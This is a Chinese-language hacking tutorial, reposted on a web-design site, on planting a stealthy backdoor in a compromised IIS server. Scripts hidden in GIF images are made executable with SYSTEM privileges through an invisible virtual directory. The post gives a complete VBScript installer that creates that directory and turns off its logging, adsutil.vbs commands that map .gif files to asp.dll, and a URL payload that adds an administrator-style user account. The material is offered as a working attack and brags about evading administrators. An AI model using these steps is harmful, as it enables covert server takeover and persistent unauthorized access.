唐山网站建设

设为主页 加入收藏 繁體中文

脚本图片类后门病毒的完善使用方法

核心提示:脚本图片类后门病毒的完善使用方法

前两天,看了1篇《脚本注进图片新方法》的文章,相信很多人都通过这篇文章了解了如何在图片中加进脚本,和如何在正常的asp(或php)文件中通过include函数使图片中的脚本产生功效。

但是,这类方法的题目又随之而来了:有人问道:通常脚本网页文件中假设想要插进1个图片,简简单单的1个html标签就解决了,假设我们用include代替的话,是否是太过明显?固然这类语句放在大型页面中手工查找有点麻烦,但假设是杀毒软件用特点码查找,看到include的是以.gif.jpg等扩大名结尾的语句,相信肯定会报警。

而我们若不用类似于include之类的函数的话,图片中的asp(或php)语句又怎会履行呢?难道要打电话叫网管帮忙吗?嘿嘿…… 所以题目就集中在用甚么方法可以替换include函数的作用上了,由于注进图片的脚本可以变,所以可以不怕杀,怕就怕那句该死的include。

有甚么方法呢?我曾想过我们在进侵成功后可以在iis中添加利用程序映照,把.gif等图片的扩大名用asp.dll(或php.exe)解析,并把这虚拟目录的利用程序保护改成低,这样我们的后门就会有system权限了。当我们注进图片的脚本的作用是履行cmd命令的,我们便可以够通过本地表单post我们要履行的命令给图片,固然也能够是get: 代码 /uploadfiles/newsphoto/xx.coma1.gif?cmd=dir 这类方法固然是好,可以突破include履行脚本了。但仍有不足,而且是明显的:这类方式固然杀毒软件是查不出了,但是仍可明显看出:治理员只要查看1下利用程序映照,那末我们所有的工作都白费了。

想到这里,我忽然想到了iis的那个著名漏洞(触及iis5.0及iis5.1),我们可以在任意1个站点下建立1个不可见的虚拟目录(指的是intenet服务治理器中不可见,但利用adsutil.vbs依然可见),而且由于iis的特性,虚拟目录的利用程序映照及利用程序保护是与iis的默许站点分开设置的。由于虚拟目录不可见,他所有的属性固然也就不可见了。

所以我们可以安全的设置此目录的属性,而不用怕治理员发现。 当我们把这个虚拟目录指向服务器上另1个装满图片的物理目录(至于那找这类目录?我找到个好地方:windowz默许的墙纸目录,我的xp上是%systemroot%\web\wall***\目录)时……呵呵,大家想到甚么了没?1旦我们修改其中两个图片,注进我们的脚本后门,然后把此目录的图片映照到asp.dll(或php.exe)上,利用程序保护改成低,便可以够通过我上面讲的方法进行访问履行命令了。

而且是system权限哦!呵呵,是否是很爽?治理员怎样也不会想到自己的图片却会是致命的后门!(实在这类方法动鲨曾在x档案上发文章说过,但他的方法有1个缺点:在非web目录中有asp(或php)文件,1旦发现,的确让人怀疑。而我们利用的是图片,相信治理员看到图片不会情绪过激的非要扯开了看个明白才罢休吧?呵呵……) 那末如何建立这个虚拟目录呢?我们可以在图形界面也能够利用自编脚本或是直接用iis自带的adsutil.vbs操纵。

在此之前我先简单说明1下这个iis漏洞的缘由:我们知道iis的配置文件是metabase.bin。这个文件位于%systemroot%\system32\inetsrv\metabase.bin,包括了几近所有iis的配置信息,是非常重要的系统文件。简单的说,我们在“intenet服务治理器”中所作的1切设置终极都会被保存在metabase.bin中。在平常的系统治理中除通过“intenet服务治理器”来对metabase.bin进行操纵外,windows还提供了1个脚本adsutil.vbs可以对metabase.bin进行操纵。

(AdWords)metabase的结构类似于注册表,也是树形结构,有类似键、值、项的概念。事实上在iis3和pws中,metabase的内容就是存储在注册表中的。metabase有两个主键:lm和schema。其中,schema保存了系统默许的1些配置,通常不需要修改,1旦改错也非常危险,所以不论是“intenet服务治理器”还是adsutil.vbs都没有提供修改schema的机制。lm中包括了iis的http服务,ftp服务,smtp服务等的配置信息。其中,lm/w3svc/下是我们要用到的http服务的配置信息。

其中有1个值:scriptmaps,代表脚本映照。当我们在某个虚拟目录下设定scriptmaps值后,则向该目录要求的特定扩大名的文件都会交给指定的isapi履行。需要夸大的是,设定scriptmaps的目录其实不1定要真实存在的,只要在metabase中某个http实例的root键下建了1个子键,对该字键同名的虚拟目录的http要求iis会以为是正当的,并会交由映照的isapi处理。

这样说可能谁都晕了(包括我),实在简单的作个类比:metabase的就够类似于注册表,我们知道,我们在安装有些程序的时候,安装程序会在注册表中建立1些必要的值,可我们1旦非正规把它安装的文件删除时(比如有些朋友删游戏时就是直接往回收站1拉了事),注册表中的那些项就会被留下,没有用处,而造成注册表垃圾。metabase中也是那末回事,我们正常建立1个虚拟目录时,metabase中就会建立1些项。而当我们通过非正常手段删除此虚拟目录时,那些项就会留下,与注册表不同的是,那些项还会起作用,只要我们用http要求了那个虚拟目录,iis就会照旧依照metabase中的原来的虚拟目录设置顺利返回。

所以即使目录不存在,只要他曾存在过,那末就成立。呵呵,听懂了没?(ps:还没懂)晕,那就只好请您看动鲨的那篇文章了,他说得可比我清楚。 至于如何添加不可见的虚拟目录,动鲨的那篇文章说得很清楚了,我这里就不空话了,下面提供动鲨的添加不可见虚拟目录的脚本,保存为iis.vbs: 代码 help1=iis后门设置器 for win2000 by 动鲨 5月30号2004 年 help2=请输进正确的虚拟目录名称和映照的路径,格式以下 help3= cscript.exe iis.vbs 虚拟目录的名称 映照的路径 help4=例如: cscript.exe iis.vbs backdoor c:\ set args = wscript.arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strvrname=args(0) 虚拟目录名称 strrootpath=args(1) 虚拟目录路径 set checkvirtualdir=getobject(iis://localhost/w3svc/1/root) for each vr in checkvirtualdir if vr.name=lhxy then foundt =yes else foundt= no end if next if foundt =yes then wscript.echo 发现已创建了lhxy目录,正在设置自定义的虚拟目录 creatvdir else wscript.echo 正在创建lhxy目录,和自定义文件夹,请等待!

creatlhxy creatvdir end if wscript.echo 你创建的虚拟目录名称是& strvrname &,映照的文件夹是 & strrootpath &。 wscript.echo 请访问http://ip/lhxy/& strvrname &/ 来连接后门! wscript.echo 恭喜!后门设置全部完成! sub creatlhxy() set objdir=getobject(iis://localhost/w3svc/1/root) set mydir=objdir.create(iiswebvirtualdir,lhxy) mydir.accessread=true mydir.defaultdoc=mydir.defaultdoc mydir.appisolated=0 mydir.acces***ecute=true mydir.dontlog=true mydir.accesssource=true mydir.enabledirbrowsing=true mydir.setinfo end sub sub creatvdir() set objvirtualdir=getobject(iis://localhost/w3svc/1/root/lhxy) set virdir=objvirtualdir.create(iiswebvirtualdir,strvrname) virdir.accessread=true virdir.path=strrootpath virdir.defaultdoc= virdr.acces***ecute=true virdir.accesswrite=true virdir.accesssource=true virdir.appisolated=0 virdir.dontlog=true virdir.enabledirbrowsing=true virdir.appcreate 0 viddir.createprocessasuser=0 virdir.setinfo end sub wscript.quit 我记得bugkidz仿佛也曾贴出过类似的脚本。呵呵,没仔细看,大家不要打我,自己找吧,或是找boy要,呵呵。

下面是通过adsutil.vbs把asp.dll添加到inprocessisapiapps数组中的命令,使得所有asp脚本都会以system权限履行。 代码 cscript adsutil.vbs set /w3svc/inprocessisapiapps c:\winnt\system32\idq.dll c:\winnt\system32\inetsrv\httpext.dll c:\winnt\system32\inetsrv\httpodbc.dll c:\winnt\system32\inetsrv\ssinc.dll c:\winnt\system32\msw3prt.dll c:\winnt\system32\inetsrv\asp.dll 不过需要留意,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候1定要把本来的也加上,否则本来的就会丢失。不同条目之间用空格分开。 然后把你的虚拟目录加上利用程序映照: 代码 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/scriptmaps gif,c:\winnt\system32\inetsrv\asp.dll,1 我这里的虚拟目录是lhxy/wofeiwo,图片扩大名是.gif大家可以根据自己实际情况更改。 好了,我们看看效果吧: 代码 /uploadfiles/newsphoto/ofeiwoa1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add

http://www.fw8.net/


TAG:图片,目录,脚本,虚拟目录,后门
评论加载中...
内容:
评论者: 验证码: